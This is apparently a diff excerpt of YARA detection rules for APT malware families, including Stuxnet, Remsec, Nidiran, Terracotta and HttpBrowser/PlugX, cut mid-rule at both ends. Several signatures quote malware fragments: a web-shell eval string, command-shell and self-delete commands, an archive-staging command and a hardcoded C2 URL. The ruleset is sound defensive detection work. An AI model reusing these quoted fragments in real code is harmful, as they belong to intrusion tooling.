+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+   condition:
+      all of them
+}
+
+rule remsec_packer_A {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }
+   condition:
+      all of them
+}
+
+rule remsec_packer_B {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }
+   condition:
+      all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-09
+	Identifier: Stuxnet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule StuxNet_Malware_1 {
+	meta:
+		description = "Stuxnet Sample - file malware.exe"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
+	strings:
+		 // 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		 // 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		 // 0x10001780 33 c9     xor     ecx, ecx
+		 // 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		 // 0x10001785 89 02     mov     dword ptr [edx], eax
+		 // 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		 $op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		 // 0x10002045 74 36     je      0x1000207d
+		 // 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		 // 0x1000204a 83 ff 00  cmp     edi, 0
+		 // 0x1000204d 74 2e     je      0x1000207d
+		 // 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		 // 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		 $op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		 // 0x100020cf 74 70     je      0x10002141
+		 // 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		 // 0x100020d8 75 1b     jne     0x100020f5
+		 // 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		 $op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+	condition:
+		all of them
+}
+
+rule Stuxnet_Malware_2 {
+	meta:
+		description = "Stuxnet Sample - file 63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+	strings:
+		$s1 = "\\SystemRoot\\System32\\hal.dll" fullword wide
+		$s2 = "http://www.jmicron.co.tw0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule StuxNet_dll {
+	meta:
+		description = "Stuxnet Sample - file dll.dll"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
+	strings:
+		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s1
+}
+
+rule Stuxnet_Shortcut_to {
+	meta:
+		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
+	strings:
+		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide
+	condition:
+		uint16(0) == 0x004c and filesize < 10KB and $x1
+}
+
+rule Stuxnet_Malware_3 {
+	meta:
+		description = "Stuxnet Sample - file ~WTR4141.tmp"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
+		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
+	strings:
+		$x1 = "SHELL32.DLL.ASLR." fullword wide
+
+		$s1 = "~WTR4141.tmp" fullword wide
+		$s2 = "~WTR4132.tmp" fullword wide
+		$s3 = "totalcmd.exe" fullword wide
+		$s4 = "wincmd.exe" fullword wide
+		$s5 = "http://www.realtek.com0" fullword ascii
+		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and ( $x1 or 3 of ($s*) ) ) or ( 5 of them )
+}
+
+rule Stuxnet_Malware_4 {
+	meta:
+		description = "Stuxnet Sample - file 0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
+	strings:
+		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
+		$x2 = "MRxCls.sys" fullword wide
+		$x3 = "MRXNET.Sys" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them ) or ( all of them )
+}
+
+rule Stuxnet_maindll_decrypted_unpacked {
+	meta:
+		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
+		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
+		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
+		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
+		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
+		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
+		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
+		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii
+	condition:
+		 6 of them
+}
+
+rule Stuxnet_s7hkimdb {
+	meta:
+		description = "Stuxnet Sample - file s7hkimdb.dll"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
+	strings:
+		$x1 = "S7HKIMDX.DLL" fullword wide
+
+		/* Opcodes by Binar.ly */
+
+		// 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		// 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		// 0x10001780 33 c9     xor     ecx, ecx
+		// 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		// 0x10001785 89 02     mov     dword ptr [edx], eax
+		// 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		// 0x10002045 74 36     je      0x1000207d
+		// 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		// 0x1000204a 83 ff 00  cmp     edi, 0
+		// 0x1000204d 74 2e     je      0x1000207d
+		// 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		// 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		// 0x100020cf 74 70     je      0x10002141
+		// 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		// 0x100020d8 75 1b     jne     0x100020f5
+		// 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 and all of ($op*) )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-08
+	Identifier: Suckfly Nidiran
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Nidiran_Trojan_1 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
+		hash1 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
+		hash2 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
+	strings:
+		$x1 = "RUN SHELLCODE FAIL" fullword ascii
+		$x2 = "RUN DLLMEM THREAD FAIL" fullword ascii
+
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "CreateProcess returned %d, error at %d" fullword ascii
+		$s3 = "RUN PROCESS FAILD!" fullword ascii
+		$s5 = "RUN PROCESS SUCC!" fullword ascii
+		$s6 = "error to create pipe!" fullword ascii
+		$s7 = "5308.tmp" fullword ascii
+		$s8 = "MODIFYCONFIG FAIL!" fullword ascii
+		$s9 = "%s\\%08x.exe" fullword ascii
+		$s10 = "GetFileAttributes FILE FAILD" fullword ascii
+		$s11 = "DOWNLOAD FILE FAILD" fullword ascii
+		$s12 = "MODIFYCONFIG SUCC!" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 10 of them )
+}
+
+rule Nidiran_Trojan_2 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
+		hash1 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
+	strings:
+		$s1 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
+		$s2 = "WorkDll.dll" fullword ascii
+		$s3 = "InstallUserProcess is called" fullword ascii
+		$s4 = "DLL_PROCESS_ATTACH is called" fullword ascii
+		$s5 = "CreateRemoteThread Succ" fullword ascii
+		$s6 = "DoRunRemote" fullword ascii
+		$s7 = "DllRegisterServer is called" fullword ascii
+		$s8 = "DoInstallEntry is called" fullword ascii
+		$s9 = "copy Fail" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 5 of ($s*) ) or ( all of them )
+}
+
+rule Nidiran_Trojan_3 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
+		hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
+	strings:
+		$s1 = "WriteProcessMemory fail at %d " fullword ascii
+		$s2 = "CreateRemoteThread fail at %d " fullword ascii
+		$s3 = "VirtualAllocEx fail at %d " fullword ascii
+		$s4 = "CreateRemoteThread Succ" fullword ascii
+		$s5 = "VirtualAllocEx succ" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 3 of ($s*) ) or ( all of them )
+}
+rule xDedic_SysScan_unpacked {
+   meta:
+      author = " Kaspersky Lab"
+      maltype = "crimeware"
+      type ="crimeware"
+      description = "Detects SysScan APT tool"
+      reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
+      filetype = "Win32 EXE"
+      date = "2016-03-14"
+      version = "1.0"
+      hash1 = "fac495be1c71012682ebb27092060b43"
+      hash2 = "e8cc69231e209db7968397e8a244d104"
+      hash3 = "a53847a51561a7e76fd034043b9aa36d"
+      hash4 = "e8691fa5872c528cd8e72b82e7880e98"
+      hash5 = "F661b50d45400e7052a2427919e2f777"
+   strings:
+      $a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+      $a2 = "SysScan DEBUG Mode!!!" ascii wide
+      $a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
+      $a4 = "http://37.49.224.144:8189/manual_result" ascii wide
+
+      $b1 = "Checker end work!" ascii wide
+      $b2 = "Trying send result..." ascii wide
+   condition:
+      uint16(0) == 0x5A4D and filesize < 5000000 and ( any of ($a*) or all of ($b*) )
+}
+
+rule xdedic_packed_syscan {
+   meta:
+      author = "Kaspersky Lab - modified by Florian Roth"
+      company = "Kaspersky Lab"
+   strings:
+      $a1 = "SysScan.exe" nocase ascii wide
+      $a2 = "1.3.4." wide
+   condition:
+      uint16(0) == 0x5A4D and filesize > 500KB and filesize < 1500KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-04
+	Identifier: Terracotta APT
+	Comment: Reduced Rule Set
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Apolmy_Privesc_Trojan {
+	meta:
+		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 80
+		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
+	strings:
+		$s1 = "[%d] Failed, %08X" fullword ascii
+		$s2 = "[%d] Offset can not fetched." fullword ascii
+		$s3 = "PowerShadow2011" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Mithozhan_Trojan {
+	meta:
+		description = "Mitozhan Trojan used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
+	strings:
+		$s1 = "adbrowser" fullword wide 
+		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
+		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule RemoteExec_Tool {
+	meta:
+		description = "Remote Access Tool used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
+	strings:
+		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii 
+		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii 
+		$s2 = "This is a service executable! Couldn't start directly." fullword ascii 
+		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii 
+		$s4 = "TermHlp_stdout" fullword ascii 
+		$s5 = "TermHlp_stdin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 75KB and 4 of ($s*)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule LiuDoor_Malware_1 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
+		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
+		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
+	strings:
+		$s1 = "svchostdllserver.dll" fullword ascii 
+		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii 
+		$s3 = "\\nbtstat.exe" fullword ascii
+		$s4 = "DataVersionEx" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule LiuDoor_Malware_2 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
+		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
+	strings:
+		$s0 = "svchostdllserver.dll" fullword ascii 
+		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+rule APT_Liudoor {
+    meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        description = "Detects Liudoor daemon backdoor"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+        hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+    strings:
+        $string0 = "Succ"
+        $string1 = "Fail"
+        $string2 = "pass"
+        $string3 = "exit"
+        $string4 = "svchostdllserver.dll"
+        $string5 = "L$,PQR"
+        $string6 = "0/0B0H0Q0W0k0"
+        $string7 = "QSUVWh"
+        $string8 = "Ht Hu["
+    condition:
+        all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-06
+	Identifier: Threat Group 3390
+*/
+
+rule HttpBrowser_RAT_dropper_Gen1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
+		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
+		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
+		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
+		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
+		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
+		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
+	strings:
+		$x1 = "1001=cmd.exe" fullword ascii 
+		$x2 = "1003=ShellExecuteA" fullword ascii 
+		$x3 = "1002=/c del /q %s" fullword ascii
+		$x4 = "1004=SetThreadPriority" fullword ascii
+
+		/* $s1 = "pnipcn.dllUT" fullword ascii
+		$s2 = "ssonsvr.exeUT" fullword ascii
+		$s3 = "navlu.dllUT" fullword ascii
+		$s4 = "@CONOUT$" fullword wide 
+		$s5 = "VPDN_LU.exeUT" fullword ascii
+		$s6 = "msi.dll.urlUT" fullword ascii
+		$s7 = "setup.exeUT" fullword ascii 
+		$s8 = "pnipcn.dll.urlUT" fullword ascii
+		$s9 = "ldvpreg.exeUT" fullword ascii */
+
+		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b } /* Opcode */
+		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 } /* Opcode */
+		$op2 = { 8b 45 0c 83 38 00 0f 84 97 } /* Opcode */
+		$op3 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d } /* Opcode */
+		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of ($x*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_Sample1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
+		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+	strings:
+		$s0 = "update.hancominc.com" fullword wide 
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s0
+}
+
+rule HttpBrowser_RAT_Sample2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+	strings:
+		$s0 = "nKERNEL32.DLL" fullword wide
+		$s1 = "WUSER32.DLL" fullword wide
+		$s2 = "mscoree.dll" fullword wide
+		$s3 = "VPDN_LU.exeUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule HttpBrowser_RAT_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 90
+		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
+		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
+		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
+		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
+		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
+		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
+		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
+		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
+		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
+		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
+		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
+		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
+		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
+		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
+		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
+		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
+		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
+		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
+		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
+		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
+		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
+	strings:
+		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide 
+		$s1 = "HttpBrowser/1.0" fullword wide
+		$s2 = "set cmd : %s" ascii fullword
+		$s3 = "\\config.ini" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and filesize > 20KB and all of them
+}
+
+rule PlugX_NvSmartMax_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
+		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
+		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
+		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
+		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
+	strings:
+		$s0 = "NvSmartMax.dll" fullword ascii
+		$s1 = "NvSmartMax.dll.url" fullword ascii
+		$s2 = "Nv.exe" fullword ascii
+		$s4 = "CryptProtectMemory failed" fullword ascii 
+		$s5 = "CryptUnprotectMemory failed" fullword ascii 
+		$s7 = "r%.*s(%d)%s" fullword wide
+		$s8 = " %s CRC " fullword wide
+
+		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 } /* Opcode */
+		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 } /* Opcode */
+		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of ($s*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_dropper_Gen2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
+	strings:
+		$s1 = "navlu.dll.urlUT" fullword ascii
+		$s2 = "VPDN_LU.exeUT" fullword ascii
+		$s3 = "pnipcn.dllUT" fullword ascii
+		$s4 = "\\ssonsvr.exe" fullword ascii
+		$s5 = "/c del /q %s" fullword ascii
+		$s6 = "\\setup.exe" fullword ascii 
+		$s7 = "msi.dllUT" fullword ascii
+
+		$op0 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 } /* Opcode */
+		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d } /* Opcode */
+		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 } /* Opcode */
+		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 3 of ($s*) and 1 of ($op*)
+}
+
+rule ThreatGroup3390_Strings {
+	meta:
+		description = "Threat Group 3390 APT - Strings"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 60
+	strings:
+		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
+		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
+		$s3 = "ren *.rar *.zip" fullword ascii
+		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
+		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii
+	condition:
+		1 of them and filesize < 30KB
+}
+
+rule ThreatGroup3390_C2 {
+	meta:
+		description = "Threat Group 3390 APT - C2 Server"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
